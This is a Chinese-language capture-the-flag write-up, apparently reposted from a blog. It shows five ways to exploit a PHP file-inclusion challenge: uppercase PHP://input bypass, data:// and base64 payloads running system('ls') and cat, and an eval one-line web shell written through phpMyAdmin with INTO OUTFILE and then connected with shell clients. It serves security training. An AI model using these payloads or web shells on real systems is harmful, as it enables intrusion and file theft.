目錄標題
- 方法一、檔案包含:php://input偽協議繞過strstr()函式
- 方法二、檔案包含:GET方式提交命令
- 方法三、data://偽協議
- 方法四、一句話木馬連接后臺
- 方法五、data://偽協議+一句話木馬
打開題目地址:

代碼:
<?php
show_source(__FILE__);
echo $_GET['hello']; //輸出hello變數指向的內容
$page=$_GET['page']; //把page變數的值賦給$page
while (strstr($page, "php://")) { //判斷$page中是否包含"php://"字串
$page=str_replace("php://", "", $page); //用空替換"php://"字串
}
include($page); //將$page變數指向的檔案的內容插入當前php檔案
?>
show_source(FILE)函式:
對檔案進行語法高亮顯示,__FILE__指定要顯示其內容的檔案,
$_GET []變數:
預定義的 $_GET 變數用于收集來自 method=“get” 的表單中的值,從帶有 GET 方法的表單發送的資訊,對任何人都是可見的(會顯示在瀏覽器的地址欄),并且對發送資訊的量也有限制,
strstr函式:
搜索字串在另一字串中是否存在,如果是,回傳該字串及剩余部分,否則回傳 FALSE,
str_replace函式:
替換字串中的一些字符(區分大小寫),
include函式:
將PHP檔案的內容插入另一個PHP檔案(在服務器執行它之前),
??所以上面的代碼的作用就是接收我們通過GET提交的資料,然后顯示輸出hello變數指向的內容,之后判斷page變數指向的內容是否包括"php://"字串,如果包括就把它洗掉,最后顯示$page變數指向的檔案的內容,
接下來,我們有幾種漏洞利用的思路:
方法一、檔案包含:php://input偽協議繞過strstr()函式
??php://input是php語言中一個只讀的資料流;通過"php://input",可以讀取從Http客戶端以POST方式提交、請求頭“Content-Type”值非"multipart/form-data"的所有資料;"php://input"一般用來讀取POST上來,除已被處理以外的剩余資料,
??因為strstr()函式對大小寫敏感,也就是字串中必須要出現"php://"才會生效,page=PHP://input之類的大寫的字母是就可以繞過strstr()函式:把PHP://input的值通過GET方式傳入,然后通過POST方式提交執行的命令讀取目錄檔案ls、dir:
http://111.200.241.244:53666/?page=PHP://input
<?php system('ls')?>
或
<?php system('dir')?>


目錄下有三個檔案fl4gisisish3r3.php、index.php、phpinfo.php,之后訪問這三個頁面:



Flag應該是在fl4gisisish3r3.php中,查看檔案的內容:
http://111.200.241.244:53666/?page=PHP://input
<?php system('cat index.php')?>

回傳的內容在注釋當中:

<?php system('cat fl4gisisish3r3.php')?>

得到在注釋當中的flag:ctf{876a5fca-96c6-4cbd-9075-46f0c89475d2}
<?php system('cat phpinfo.php')?>
用代理抓包再發送也是一樣的:

方法二、檔案包含:GET方式提交命令
之后我們嘗試只通過page變數來執行命令讀取flag:
http://111.200.241.244:53666/?page=http://127.0.0.1/index.php/?hello=<?system("ls");?>
??這里的page變數的值是http://127.0.0.1/index.php/?hello=<?system("ls");?>,在第一個include($page)的時候將http://127.0.0.1/index.php檔案的代碼包含進去,這時候第二個hello=<?system("ls");?>,然后執行echo $_GET[‘hello’]指向的值system(“ls”)將當前目錄下的檔案輸出:

同樣地,我們可以查看fl4gisisish3r3.php的內容,這里我們需要直接用hello變數中執行對檔案進行語法高亮顯示的函式:
http://111.200.241.244:54128/?page=http://127.0.0.1/index.php/?hello=<?show_source("fl4gisisish3r3.php");?>
或者:
http://111.200.241.244:54128/?page=http://127.0.0.1/index.php/?hello=<?highlight_file("fl4gisisish3r3.php");?>

方法三、data://偽協議
??既然過濾了php://的偽協議 我們可以使用其他協議來做這里使用data://偽協議,php5.2.0起,資料流封裝器開始有效,主要用于資料流的讀取,如果傳入的資料是PHP代碼,就會執行代碼,
(1)data://偽協議的提交格式是:
data:text/plain,代碼
http://111.200.241.244:54128/index.php?page=data:text/plain,<?php system("ls"); ?>

http://111.200.241.244:54128/index.php?page=data:text/plain,<?php system("cat fl4gisisish3r3.php"); ?>

(2)也可以再使用Base64編碼傳輸:
data:text/plain;base64,(base64編碼后的資料)
??但是需要注意如果編碼之后的Base64代碼中出現了+號,瀏覽器傳輸的時候無法識別+號就會出錯,可以(1)添加空格不改變代碼的作用而改變生成的Base64編碼讓它不生成+號;(2)將+號換成url編碼%2b,也可以直接將整條命令用url編碼而不是用Base64編碼,瀏覽器依舊可以識別,
??所以我們把<?php system("dir");?>編碼成
http://111.200.241.244:54128/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCJkaXIiKTs/Pg==

把<?php system("ls");?>編碼成
http://111.200.241.244:54128/?page=data://text/plain;base64,PD9zeXN0ZW0oImxzIik7Pz4=

將<?php system('cat fl4gisisish3r3.php')?>編碼成:
http://111.200.241.244:54128/?page=data://text/plain/;base64,PD9waHAgc3lzdGVtKCJjYXQgZmw0Z2lzaXNpc2gzcjMucGhwIik/Pg==

方法四、一句話木馬連接后臺
先用御劍掃描后臺頁面:

其中就有后臺資料庫的登錄界面http://111.200.241.244:54128/phpmyadmin/db_create.php:

Mysql的用戶名就是root,密碼是空
登錄了資料庫之后,執行SQL陳述句插入頁面一句話木馬內容:
SELECT "<?php eval(@$_POST['password']); ?>"
INTO OUTFILE '/tmp/attack.php'

之后用蟻劍或者菜刀連接,
指定連接的頁面
http://111.200.241.244:54128/?page=/tmp/attack.php
以及設定的木馬的密碼:
password

連接成功之后就可以執行普通用戶權限下的命令,查看對應檔案的內容:

方法五、data://偽協議+一句話木馬
先用data://偽協議寫入一句話木馬:
http://111.200.241.244:54128/index.php?page=data:text/plain,<?php eval($_POST["1"]); ?>

之后用蟻劍連接:

同樣可以得到flag:ctf{876a5fca-96c6-4cbd-9075-46f0c89475d2}
參考鏈接:
https://www.w3school.com.cn/php/func_misc_show_source.asp
https://www.runoob.com/php/php-get.html
https://blog.csdn.net/weixin_45844670/article/details/108180309
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/357016.html
標籤:其他
上一篇:簡單版的三子棋小游戲
